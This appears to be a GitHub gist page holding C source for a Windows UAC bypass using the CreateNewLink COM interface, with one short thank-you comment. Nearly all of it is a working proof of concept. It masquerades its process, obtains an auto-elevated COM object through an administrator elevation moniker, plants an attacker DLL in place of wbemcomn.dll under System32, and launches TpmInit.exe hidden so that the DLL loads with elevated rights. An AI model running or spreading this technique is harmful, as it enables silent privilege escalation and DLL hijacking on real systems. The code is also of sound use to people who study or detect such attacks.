Skip to content

Instantly share code, notes, and snippets.

@hfiref0x
Created August 23, 2018 16:34
Show Gist options
  • Save hfiref0x/e58711820276fe8b1b36dd51faae59cf to your computer and use it in GitHub Desktop.
Save hfiref0x/e58711820276fe8b1b36dd51faae59cf to your computer and use it in GitHub Desktop.
UAC bypass using CreateNewLink COM interface
typedef struct tagCREATELINKDATA {
ULONG dwFlags;
WCHAR szLinkName[MAX_PATH]; // + 0x20C
WCHAR szExeName[MAX_PATH]; // + 0x414
WCHAR szParams[MAX_PATH]; // + 0x61C
WCHAR szWorkingDir[MAX_PATH]; // + 0x824
WCHAR szOriginalName[MAX_PATH]; // + 0xA2C
WCHAR szExpExeName[MAX_PATH]; // + 0xC34
WCHAR szProgDesc[MAX_PATH]; // + 0xE3C
WCHAR szFolder[MAX_PATH]; // + 0x1044
WCHAR szExt[MAX_PATH]; // + 0x124C
WCHAR szIconFile[MAX_PATH]; // + 0x1454
USHORT wIconIndex;
} CREATELINKDATA, *PCREATELINKDATA;
typedef interface ICreateNewLink ICreateNewLink;
typedef struct ICreateNewLinkVtbl {
BEGIN_INTERFACE
HRESULT(STDMETHODCALLTYPE *QueryInterface)(
__RPC__in ICreateNewLink * This,
__RPC__in REFIID riid,
_COM_Outptr_ void **ppvObject);
ULONG(STDMETHODCALLTYPE *AddRef)(
__RPC__in ICreateNewLink * This);
ULONG(STDMETHODCALLTYPE *Release)(
__RPC__in ICreateNewLink * This);
HRESULT(STDMETHODCALLTYPE *CreateNewLink)(
__RPC__in ICreateNewLink * This,
__RPC__in PCREATELINKDATA LinkData,
__RPC__in DWORD dwFlags);
HRESULT(STDMETHODCALLTYPE *RenameLink)(
__RPC__in ICreateNewLink * This,
__RPC__in PCREATELINKDATA LinkData);
END_INTERFACE
} *PICreateNewLinkVtbl;
interface ICreateNewLink
{
CONST_VTBL struct ICreateNewLinkVtbl *lpVtbl;
};
//
// Win 7, Win 8.1
// CreateNewLink is not in COMAutoApprovalList in Windows 10
//
VOID Method49a_Test()
{
HRESULT hr;
ICreateNewLink *CreateNewLink = NULL;
BIND_OPTS3 bop;
WCHAR szElevationMoniker[MAX_PATH], szError[100];
CREATELINKDATA LinkData;
IID xIID_CreateNewLink;
SHELLEXECUTEINFO sh;
supMasqueradeProcess(FALSE);
if (SUCCEEDED(CoInitializeEx(
NULL,
COINIT_APARTMENTTHREADED | COINIT_DISABLE_OLE1DDE)))
{
if (IIDFromString(L"{B5AB9C96-C11D-43E7-B44C-79B13EE7AC6F}", &xIID_CreateNewLink) == S_OK) {
RtlSecureZeroMemory(szElevationMoniker, sizeof(szElevationMoniker));
_strcpy(szElevationMoniker, L"Elevation:Administrator!new:{1BA783C1-2A30-4ad3-B928-A9A46C604C28}");
RtlSecureZeroMemory(&bop, sizeof(bop));
bop.cbStruct = sizeof(bop);
bop.dwClassContext = CLSCTX_LOCAL_SERVER;
hr = CoGetObject(szElevationMoniker, (BIND_OPTS *)&bop, &xIID_CreateNewLink, &CreateNewLink);
if (SUCCEEDED(hr)) {
RtlSecureZeroMemory(&LinkData, sizeof(LinkData));
LinkData.dwFlags = 0x200;
_strcpy(LinkData.szExeName, L"C:\\trash\\MLP.dll");
_strcpy(LinkData.szLinkName, L"C:\\Windows\\System32\\wbem\\wbemcomn.dll");
hr = CreateNewLink->lpVtbl->CreateNewLink(CreateNewLink, &LinkData, 0);
if (!SUCCEEDED(hr)) {
_strcpy(szError, L"CreateNewLink failed = 0x");
ultostr(hr, _strend(szError));
MessageBox(GetDesktopWindow(), szError, NULL, MB_OK);
}
else {
RtlSecureZeroMemory(&sh, sizeof(sh));
sh.cbSize = sizeof(sh);
sh.lpFile = L"C:\\Windows\\System32\\TpmInit.exe";
sh.nShow = SW_HIDE;
sh.fMask = SEE_MASK_NOCLOSEPROCESS;
if (ShellExecuteEx(&sh)) {
if (WaitForSingleObject(sh.hProcess, 5000) == WAIT_TIMEOUT)
TerminateProcess(sh.hProcess, 0);
CloseHandle(sh.hProcess);
}
}
CreateNewLink->lpVtbl->Release(CreateNewLink);
}
else {
_strcpy(szError, L"CoGetObject failed = 0x");
ultostr(hr, _strend(szError));
MessageBox(GetDesktopWindow(), szError, NULL, MB_OK);
}
}
CoUninitialize();
}
return;
}
@snyiu100
Copy link

Thanks!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment